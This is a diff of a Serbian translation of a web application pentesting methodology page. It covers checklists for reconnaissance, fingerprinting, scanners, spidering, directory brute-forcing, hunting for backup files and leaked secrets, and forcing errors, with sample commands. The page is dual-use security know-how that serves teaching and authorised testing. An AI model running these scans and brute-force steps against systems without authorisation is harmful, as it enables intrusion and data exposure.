-- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba ga spiderovati._ -- [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene folders tražeći nove **files** i **directories**. -- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba da bude Brute-Forced._ -- [ ] **Backups checking**: Testirajte da li možete pronaći **backups** od **discovered files** dodavanjem uobičajenih backup ekstenzija. -- [ ] **Brute-Force parameters**: Pokušajte da **find hidden parameters**. -- [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih. -- [ ] [Sledite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Koristi li se neka **well known tech**? Postoji li neki **koristan trik** za ekstrahovanje informacija? +- [ ] Postoji li neki **specialised scanner** koji treba pokrenuti (kao wpscan)? +- [ ] Pokrenite **general purposes scanners**. Nikad ne znate da li će nešto naći ili pružiti interesantne informacije. +- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako je HTTPS). +- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. +- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude spidered._ +- [ ] **Directory Brute-Forcing**: Pokušajte da brute-force-ujete sve otkrivene foldere u potrazi za novim **fajlovima** i **direktorijumima**. +- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude Brute-Forced._ +- [ ] **Backups checking**: Testirajte da li možete da nađete **backups** otkrivenih **fajlova** dodavanjem uobičajenih backup ekstenzija. +- [ ] **Brute-Force parameters**: Pokušajte da **otkrijete skrivene parametre**. +- [ ] Kada identifikujete sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezane za njih. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Verzija servera (Ranjiv?) +## Server Version (Vulnerable?) -### Identifikacija +### Identify -Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\ -**HTTP headers and cookies of the response** mogu biti veoma korisni za identifikaciju tehnologija i/ili verzije koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ili [**https://builtwith.com/**](https://builtwith.com)**:** +Proverite da li postoje **poznate ranjivosti** za verziju servera koja radi.\ +**HTTP headers and cookies of the response** mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md) +Pretraži **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Proveri da li postoji WAF** @@ -63,9 +63,9 @@ Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-ex - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Trikovi za web tehnologije +### Web tech tricks -Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste: +Neki trikovi za pronalaženje ranjivosti u različitim dobro poznatim tehnologijama koje se koriste: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,26 +101,25 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim ** - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Imajte u vidu da isti **domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\ -Ako web aplikacija koristi neku od prethodno navedenih dobro poznatih **tehnologija/platformi** ili **neku drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!). +_Imajte u vidu da isti domen može koristiti različite tehnologije na različitim portovima, folderima i poddomenima._\ +Ako web aplikacija koristi neku dobro poznatu tech/platform navedenu gore ili neku drugu, ne zaboravite da pretražite Internet za nove trikove (i javite mi!). -### Pregled izvornog koda +### Source Code Review -Ako je **source code** aplikacije dostupan na **github**, pored izvođenja od strane vas **White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testing**: +Ako je **source code** aplikacije dostupan na **github**, pored toga što sami možete izvršiti White box test aplikacije, postoje informacije koje mogu biti korisne za trenutni Black-Box testing: -- Postoji li **Change-log**, **Readme** ili **Version** fajl ili nešto sa **informacijama o verziji dostupnim** preko weba? -- Kako i gde su sačuvane **credentials**? Postoji li neki (pristupačni?) **file** sa credentials (korisnička imena ili passwords)? -- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi? +- Da li postoji **Change-log ili Readme ili Version** fajl ili nešto sa **version info** dostupno preko weba? +- Kako i gde su sačuvani **credentials**? Da li postoji neki (dostupan?) **file** sa credentials (usernames ili passwords)? +- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** je korišćen? - Da li koristi neki **master key** za enkripciju nečega? Koji **algorithm** se koristi? -- Možete li **pristupiti bilo kojem od ovih fajlova** iskorišćavanjem neke ranjivosti? -- Ima li neke **zanimljive informacije na githubu** (rešene i nerešene) **issues**? Ili u **commit history** (možda je neka **password** ubačen u starom commitu)? - +- Možete li **access any of these files** iskorišćavanjem neke ranjivosti? +- Da li ima neke interesantne informacije na github-u (solved and not solved) u **issues**? Ili u **commit history** (možda je neka **password introduced inside an old commit**)? {{#ref}} code-review-tools.md {{#endref}} -### Automatski skeneri +### Automatic scanners #### General purpose automatic scanners ```bash @@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS skeneri -Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda se nađe nešto korisno: +Ako se koristi CMS, ne zaboravite da **pokrenete skener** — možda se pronađe nešto zanimljivo: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove zbog sigurnosnih problema. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websajtove zbog bezbednosnih propusta. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +148,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dati podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner. +> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i nekoliko trikova koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki scanner. -## Koračno otkrivanje web aplikacije +## Korak-po-korak Web Application Discovery -> Od ovog trenutka počinjemo da interagujemo sa web aplikacijom. +> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom. ### Početne provere -**Podrazumevane stranice sa zanimljivim informacijama:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Proverite i komentare na glavnim i sekundarnim stranicama. +- Check also comments in the main and secondary pages. -**Navođenje grešaka** +**Forcing errors** -Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. To može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**. +Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. -- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc) -- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti cookie-ja** i **parametara** da izazovete greške -- Generišite grešku unošenjem **`/~randomthing/%s`** na **kraj** **URL-a** -- Isprobajte **različite HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE +- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) +- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors +- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** +- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE -#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Proverite da li možete da otpremate fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da: +If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: - **Brute Force** credentials -- **Upload files** via WebDav u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole da otpremite fajlove u drugim folderima. +- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. ### **SSL/TLS ranjivosti** -- Ako aplikacija **ne primorava korišćenje HTTPS** ni u jednom delu, onda je **ranjiva na MitM** -- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. To predstavlja visoku ranjivost. +- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** +- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. -Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -196,60 +195,60 @@ Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite sslscan sslyze --regular ``` -Informacije o SSL/TLS ranjivostima: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Pokrenite neku vrstu **spider** unutar web-a. Cilj **spider**-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i eksterni izvori treba da se koriste da bi se pronašlo što više validnih putanja. +Pokrenite neku vrstu **spider** unutar web-a. Cilj spider-a je da **pronađe što više puteva (paths) iz testirane aplikacije**. Zbog toga treba koristiti web crawling i eksterne izvore kako biste pronašli što više validnih puteva. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS files i eksternim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS files i Archive.org kao eksterni izvor. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS fajlovima i eksterni izvori (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS fajlove i Archive.org kao eksterni izvor. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete samo navesti fajl sa hostovima i fajl sa putanjama i meg će fetch-ovati svaku putanju na svakom hostu i sačuvati odgovor. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS rendering mogućnostima. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira +- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete navesti fajl sa hosts i fajl sa path-ovima i meg će fetch-ovati svaki path na svakom hostu i sačuvati response. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira - [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl) - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripta koja će naći URL-ove sa parametrima i izlistati ih. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS rendering mogućnostima. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS files. Može biti korisno takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper LinkFinder-a. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoints kako iz HTML source-a tako i iz embedded javascript fajlova. Korisno za bug hunter-e, red team-e, infosec ninje. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS fajlovima. Vredi pogledati i [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper za LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoint-a iz HTML source-a i embedded javascript fajlova. Korisno za bug hunter-e, red team-ere, infosec ninje. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skripta koja koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda neodržavano. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) ekstrahuje URL-ove koristeći zgodan regularni izraz da pronađe i izvuče relativne URL-ove iz "ružnih" (minify) fajlova. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikuplja interesantne informacije iz JS files koristeći više alata. -- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve URL-ove koje je učitao da bi učitao stranicu. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Tool za otkrivanje sadržaja kombinujući nekoliko opcija prethodnih alata -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path i params u JS files. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoints za dati target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine-a (takođe preuzimajući odgovore u wayback i tražeći dalje linkove) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) izvući će URL-ove koristeći zgodne regularne izraze da pronađe i izvuče relativne URL-ove iz "ružnih" (minified) fajlova. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Prikuplja interesantne informacije iz JS fajlova koristeći više alata. +- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS fajlove. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve url-ove koje je strana učitala. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje više opcija iz prethodnih alata +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path-ova i parametara u JS fajlovima. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, ako postoji .js.map URL, dobije beatified JS kod +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat koji se koristi za otkrivanje endpoint-a za dati target. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine (takođe download-uje response u wayback-u i traži još linkova) +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawluje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, sekretâ i drugih interesantnih podataka iz JavaScript source koda. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoints** iz request-a da bi se kreirao custom wordlist za fuzzing i enumeraciju. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan tool za ovo. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go paket i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, path-ova, sekreta i drugih interesantnih podataka iz JavaScript source koda. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoint-a** iz request-a radi kreiranja custom wordlist-e za fuzzing i enumeraciju. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo. - [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe. ### Brute Force directories and files -Počnite sa **brute-forcing** iz root folder-a i obavezno brute-force-ujte **sve** **direktorijume koji su pronađeni** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete izvršiti brute-forcing **rekurzivno** i dodati na početak korišćene wordlist-e imena pronađenih direktorijuma).\ -Tools: +Počnite sa **brute-forcing** iz root folder-a i postarajte se da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete raditi brute-forcing **rekurzivno** i dodavati na početak korišćene wordlist-e imena pronađenih direktorijuma).\ +Alati: -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. +- **Dirb** / **Dirbuster** - Uključeni u Kali, **stari** (i **sporiji**) ali funkcionalni. Dozvoljavaju auto-signed sertifikate i rekurzivno pretraživanje. Previše spori u poređenju sa drugim opcijama. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava auto-signed sertifikate ali** podržava rekurzivno pretraživanje. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava auto-signed sertifikate, ali **nema** **rekurzivno** pretraživanje. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider ali alat koji, dat lista pronađenih URL-ova, ukloni "duplicirane" URL-ove. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension za kreiranje liste direktorijuma iz burp history različitih stranica +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa dupliciranim funkcionalnostima (bazirano na js import-ima) +- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za detekciju upotrebljenih tehnologija i izbor wordlist-a koje treba koristiti. -Preporučene liste reči: +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +267,41 @@ Preporučene liste reči: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Napomena: kad god se novi direktorijum otkrije tokom brute-forcing-a ili spidering-a, treba da bude Brute-Forced._ +_Napomena: svaki put kad se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forc-ovati._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken links unutar HTML-a koji mogu biti podložni takeovers. -- **File Backups**: Kada nađete sve fajlove, tražite backup-ove svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante imenovanja backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite skrivene parametre u svakom izvršnom web fajlu.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken link-ove unutar HTML-a koji mogu biti podložni takeover-u +- **File Backups**: Kada pronađete sve fajlove, tražite backup-ove izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite** skrivene parametre u svakom izvršnom web fajlu. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Proverite komentare u svim fajlovima, možete pronaći **credentials** ili **skrivenu funkcionalnost**. -- Ako radite **CTF**, "uobičajen" trik je da **sakrijete** informacije unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source code u browser-u). Druga mogućnost je da koristite **više novih linija** i sakrijete informaciju u komentaru na **dnu** web strane. -- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API keys različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Ako pronađete API key koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje api-je ključ može da pristupi. -- **S3 Buckets**: Tokom spidering-a proverite da li neki **subdomain** ili neki **link** ima veze sa nekim **S3 bucket-om**. U tom slučaju, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** Proverite komentare u svim fajlovima, možete naći **credentials** ili **skrivenu funkcionalnost**. +- Ako radite **CTF**, uobičajen trik je da **sakrijete** **informacije** unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source u browser-u). Druga mogućnost je da koristite **nekoliko novih linija** i **sakrijete informaciju** u komentaru na **dnu** web stranice. +- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API key-e različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Ako nađete API key koji liči na **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključ može da pristupi. +- **S3 Buckets**: Dok obavljate spidering proverite da li je neki **subdomain** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** permisije bucket-a](buckets/index.html). ### Special findings -Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **primetiti**. +Tokom **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **prihvatiti**/obraćati pažnju. **Interesting files** -- Potražite **linkove** ka drugim fajlovima unutar **CSS files**. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- Ako nađete _**.env**_ fajl, mogu se naći informacije kao što su api keys, dbs passwords i druge informacije. -- Ako nađete **API endpoints** treba da ih [takođe testirate](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni. -- **JS files**: U sekciji spidering pomenuto je više alata koji mogu ekstrahovati putanje iz JS files. Takođe bi bilo interesantno **monitorovati svaki JS fajl koji pronađete**, jer u nekim situacijama promena može ukazivati da je potencijalna ranjivost uvedena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.** -- Takođe bi trebalo proveriti otkrivene JS files sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste otkrili da li su ranjivi. +- Tražite **linkove** ka drugim fajlovima unutar **CSS** fajlova. +- [Ako nađete _**.git**_ fajl može se izvući neka informacija](git.md) +- Ako nađete _**.env**_ mogu se naći informacije kao što su api keys, db lozinke i druge informacije. +- Ako nađete **API endpoint-e** trebalo bi ih [takođe testirati](web-api-pentesting.md). To nisu fajlovi, ali će verovatno "izgledati" kao oni. +- **JS files**: U sekciji spidering već su pomenuti alati koji mogu ekstraktovati path-ove iz JS fajlova. Takođe, interesantno je **monitorovati svaki JS fajl koji je pronađen**, jer u nekim slučajevima promena može ukazivati da je potencijalna ranjivost ubačena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** +- Treba takođe proveriti otkrivene JS 